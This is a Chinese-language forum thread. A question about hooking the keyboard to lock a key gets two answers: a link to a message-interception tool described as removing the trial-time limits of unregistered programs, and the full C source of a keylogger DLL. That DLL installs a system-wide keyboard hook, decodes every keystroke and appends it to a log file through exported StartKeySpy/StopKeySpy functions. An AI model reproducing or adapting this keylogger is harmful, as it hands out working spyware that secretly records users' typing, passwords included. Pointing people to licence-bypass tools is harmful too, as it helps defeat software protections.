谁有用HOOK锁定键盘某个键的程序代码？

Question

http://www.vckbase.com/sourcecode/system/index.html

Answer 1

消息截获程序代码
一个截获并过滤某个程序中的某个消息的程序源代码。比如通过过滤WM_TIMER消息来消除某些未注册程序的运行时间限制
大小:24KB 

Answer 2

一个记录键盘输入的程序。
你只要改改 KeyHook部分就可以了。 俺没时间了   :(#include "stdafx.h"
#include "stdio.h"
#include "malloc.h"const int KeyPressMask=0x80000000;typedef struct{
int scancode;
char str[5];
}STRKEY;int NumCharList[]={')','!','@','#','$','%','^','&','*','('};int OtherList[][3]={  {186,';',':'},{187,'=','+'},{188,',','<'},
{189,'-','_'},{190,'.','>'},{191,'/','?'},{192,'`','~'},
{219,'[','{'},{220,'\\','|'},{221,']','}'},{222,'\'','\"'},
};
int NumberPad[]={'0','1','2','3','4','5','6','7','8','9','*','+', ' ','-','.','/'};STRKEY StrKey[] = { {27,"ESC"},{45,"INS"},{36,"HOME"}, {33,"PgUp"},
{46,"DEL"},{35,"END"},{34,"PgDn"},{38,"UP"},{37,"LF"},
{39,"RT"},{40,"DN"},{35,"END"},{18,"ALT"},{144,"NUM"},
{145,"SCL"},{19,"PAU"},{17,"CTL"},{16,"SHF"},{20,"CAP"},
{9,"TAB"},{8,"BK"}};
HHOOK hNextHookProc;
HINSTANCE hInstance;
HWND hWnd;
char result[10];
WPARAM LastKeyCode;FILE *fp;BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
hInstance=(HINSTANCE)hModule;
    return TRUE;
}int Search(int s,int max,UINT whichstair = 1)
{
int i;
for(i=0;i<max;i++)
{
if(OtherList[i][0]==s)
return OtherList[i][whichstair];
}
return 0;
}
char *StrSearch(int s,int max)
{
int i;
for(i=0;i<max;i++)
{
if(StrKey[i].scancode == s)
return StrKey[i].str;
}
return "UNK";
}HOOKPROC __stdcall KeyHook(int iCode,WPARAM wParam,LPARAM lParam )
{
if (iCode != HC_ACTION)
return (HOOKPROC)CallNextHookEx(hNextHookProc,iCode,wParam,lParam); bool bShift=((GetKeyState(0x10) & KeyPressMask)==KeyPressMask);
bool bCapital=((GetKeyState(0x14) & 1)==1);
bool bNumLock=((GetKeyState(0x90) & 1)==1);
bool WordSwap=! (bShift ^ bCapital);
bool CharSwap=bShift;
bool Visible = false;
int c; char s[10];
if(wParam >= 'A' && wParam <= 'Z')
{
//一般字母
if(WordSwap){c = wParam + 32;}else{ c = wParam;}
Visible = true;
}
else if(wParam >= '0' && wParam <= '9' )
{
// 数字键（不包括小键盘区）
if(bShift){ c = NumCharList[wParam - '0']; }else{ c = wParam ; }
Visible = true;
}
else if(wParam >= 96 && wParam <= 111)
{
//小键盘区
c = NumberPad[wParam - 96];
Visible = true;
}
else if ((wParam >= 186 && wParam <= 192) || (wParam >= 219 && wParam <= 222))
{
//标点符号
if (bShift)
c = Search(wParam,11,2);
else
c = Search(wParam,11,1);
Visible = true;
}
else if(wParam >= 112 && wParam <= 123)
{
//F1 等功能键
sprintf(s,"F%d",wParam - 111);
Visible = false;
}
else if(wParam == 13)
{
//Enter特殊待遇  ^_^
sprintf(s,"<ENTER>\r\n");
Visible = false;
}
else if(wParam == 32)
{
//空格也是……
sprintf(s,"<SPACE>");
Visible = false;
}
else
{
//其他的如Ctrl,Alt,Up,Down等只有扫描码的键
sprintf(s,"%s",StrSearch(wParam,21));
Visible = false;
} const long Maskc = 0xc0000000; LONG lTmp; if(Visible)
sprintf(result,"%c",c);
else
if(wParam != 13){sprintf(result,"[<%s>]",s);} else{sprintf(result,"%s",s);} lTmp = lParam & Maskc;
if(lTmp != Maskc)
if(!((wParam == 17 || wParam == 16 || wParam == 18) && (wParam == LastKeyCode)))
fprintf(fp,"%s",result); LastKeyCode = wParam;
return (HOOKPROC)CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
}char * __stdcall GetStr()
{
return result;
}
int __stdcall StartKeySpy(LPCTSTR szFile)
{
if(!hNextHookProc)
hNextHookProc=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHook,hInstance,0); fp=fopen(szFile,"a");
if(fp == NULL) return 0;
return hNextHookProc!=0 ;           //  0 ----- Fail   1 ----- OK
}int __stdcall StopKeySpy()
{
UnhookWindowsHookEx(hNextHookProc);
hNextHookProc = NULL;
fclose(fp);
return true;
}